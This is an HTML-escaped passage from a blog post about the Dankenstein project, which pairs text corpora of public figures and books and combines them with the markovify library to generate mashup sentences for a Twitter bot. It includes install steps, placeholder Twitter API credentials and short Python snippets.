    &lt;span class=&quot;token string&quot;&gt;&apos;Steve Jobs&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;The Brothers Karamazov&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;Donald Trump&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;SICP&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;Alex Jones&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;Philip K Dick Novels&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;Moby Dick&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;Richard Dawkins&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;TNGs Data&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;Obama&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;President Bartlet (Westwing)&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;H.P. Lovecraft&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;George W. Bush&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;TNGs Picard&apos;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Then I generated a list of all possible pairs of potential candidates:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token triple-quoted-string string&quot;&gt;&quot;&quot;&quot;Get all possible pair combinations of candidates&quot;&quot;&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; itertools
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; pprint

pp &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; pprint&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;PrettyPrinter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;indent&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
pp&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;pprint&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;itertools&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;combinations&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;candidates&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Some of the more interesting resulting pairs included:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;King James Bible&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Richard Stallman&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;King James Bible&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Donald Trump&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;ICOs&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Moby Dick&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;ICOs&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;H.P. Lovecraft&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Erowid&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;The Communist Manifesto&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Erowid&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Alex Jones&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Erowid&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;TNGs Data&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Cannibal Corpse Lyrics&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Deepak Chopra&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Cannibal Corpse Lyrics&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Obama&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Deepak Chopra&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Philip K Dick Novels&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Elon Musk&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;The Satanic Bible&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Mark Zuckerberg Testimony&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;TNGs Data&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Mark Zuckerberg Testimony&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;H.P. Lovecraft&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Richard Stallman&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Moby Dick&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Richard Stallman&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;TNGs Data&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;The Communist Manifesto&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Steve Jobs&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Frankenstein&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Donald Trump&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Frankenstein&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Richard Dawkins&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;The Satanic Bible&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Obama&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;The Satanic Bible&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;SICP&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Steve Jobs&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Alex Jones&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;The Brothers Karamazov&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Philip K Dick Novels&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;The Brothers Karamazov&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;H.P. Lovecraft&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Donald Trump&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Moby Dick&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;SICP&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;H.P. Lovecraft&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Alex Jones&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Philip K Dick Novels&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;George W. Bush&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;TNGs Picard&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I couldn&apos;t decide between the pairs, so I prepared datasets for all the candidates...&lt;/p&gt;
&lt;h2&gt;Generating datasets and training a first model&lt;/h2&gt;
&lt;p&gt;I won&apos;t cover the work of finding, making and collecting the datasets in detail; To prepare the datasets for the candidates, you&apos;ll need to run the bash-scripts in the &lt;code class=&quot;language-text&quot;&gt;corpus&lt;/code&gt; directory of &lt;a href=&quot;https://github.com/EivindArvesen/dankenstein&quot;&gt;Dankenstein&lt;/a&gt;. You can generate all of them at once by running &lt;code class=&quot;language-text&quot;&gt;make corpora&lt;/code&gt; from the project root.&lt;/p&gt;
&lt;p&gt;Some of these scripts have a few python dependencies; You&apos;ll need to run &lt;code class=&quot;language-text&quot;&gt;pip install tweepy darklyrics wikiquotes&lt;/code&gt; to be able to scrape Twitter, DarkLyrics and Wikiquote. You will also need &lt;code class=&quot;language-text&quot;&gt;poppler&lt;/code&gt;for the ICO and SICP corpora (or other PDF-wrangling), which can be installed on macOS via &lt;a href=&quot;https://homebrew.sh&quot;&gt;Homebrew&lt;/a&gt; by running &lt;code class=&quot;language-text&quot;&gt;brew install poppler&lt;/code&gt;, or on Ubuntu by running &lt;code class=&quot;language-text&quot;&gt;sudo apt-get install -y poppler-utils&lt;/code&gt;.
For other distros or platforms, please consult the &lt;a href=&quot;https://poppler.freedesktop.org/&quot;&gt;Poppler website&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Additionally, you need an &lt;a href=&quot;https://apps.twitter.com/app/new&quot;&gt;OAuth API key for Twitter&lt;/a&gt; in order to scrape Tweets properly, as well as post tweets from our Markov Chain Model in the final step. Once you&apos;ve registered an application, enter your credentials in &lt;code class=&quot;language-text&quot;&gt;twitterCredentials.sh&lt;/code&gt; - or if you&apos;re following along, coding, you can set the your consumer key, consumer secret, access token and access token secret as environment variables:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;CONSUMER_KEY&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;consumer_key&quot;&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;CONSUMER_SECRET&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;consumer_secret&quot;&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;ACCESS_KEY&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;access_token&quot;&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;ACCESS_SECRET&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;access_token_secret&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;For our Markov-model, we&apos;ll need to install the &lt;code class=&quot;language-text&quot;&gt;markovify&lt;/code&gt;-package by running &lt;code class=&quot;language-text&quot;&gt;pip install markovify&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now let&apos;s train a model!&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; markovify

&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;exit&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Need two corpora!&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    corpus1 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    corpus2 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Get raw text as string.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;dirname&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;current_dir&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/corpus/&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;.txt&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    text_a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;read&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;dirname&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;current_dir&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/corpus/&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;sys&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;.txt&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    text_b &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;read&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Build the model.&lt;/span&gt;
model_combo &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; markovify&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;combine&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; model_a&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; model_b &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Print three randomly-generated sentences of no more than 140 characters&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;text_model&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;make_short_sentence&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;140&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;After generating a few sentences for most of the combinations, I narrowed my search down to the following candidate combinations:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;King James Bible&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Richard Stallman&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;King James Bible&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Donald Trump&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;ICOs&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;H.P. Lovecraft&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
